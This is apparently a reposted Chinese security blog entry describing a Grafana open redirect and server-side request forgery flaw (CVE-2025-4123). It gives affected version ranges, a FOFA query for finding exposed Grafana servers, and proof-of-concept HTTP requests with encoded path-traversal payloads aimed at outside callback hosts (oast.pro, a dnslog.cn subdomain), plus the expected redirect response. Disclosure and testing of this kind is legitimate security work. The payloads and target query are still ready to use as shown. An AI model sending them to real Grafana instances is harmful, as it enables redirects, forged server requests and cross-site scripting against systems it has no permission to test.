免责声明
请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。
漏洞描述：
Grafana是Grafana开源的一套提供可视化监控界面的开源监控工具。该工具主要用于监控和分析Graphite、InfluxDB和Prometheus等。Grafana存在安全漏洞，该漏洞源于客户端路径遍历和开放重定向结合，可能导致跨站脚本攻击。
影响版本：
8.0.0 ≤ grafana <10.4.1811.2.0 ≤ grafana <11.2.911.3.0 ≤ grafana <11.3.611.4.0 ≤ grafana <11.4.411.5.0 ≤ grafana <11.5.411.6.0 ≤ grafana <11.6.112.0.0 ≤ grafana <12.0.1
FOFA:
app="Grafana"POC：
测试是否开放重定向
GET /public/..%2F%5coast.pro%2F%3f%2F..%2F.. HTTP/1.1Host: 127.0.0.1:8080
如果返回内容如下则开放重定向：
HTTP/1.1 302 FoundContent-Type: text/html; charset=utf-8Location: /oast.pro/?/../../Date: Sun,1 Jun 2025 15:36:13 GMTContent-length: 42<a href="/oast.pro/?/../../">Found</a>.
GET /render/public/..%252f%255C75desw.dnslog.cn%252f%253F%252f..%252f.. HTTP/1.1Host: 127.0.0.1:8080
--------
请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。
原文始发于微信公众号（HK安全小屋）：Grafana开放重定向&服务端请求伪造漏洞(CVE-2025-4123)
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论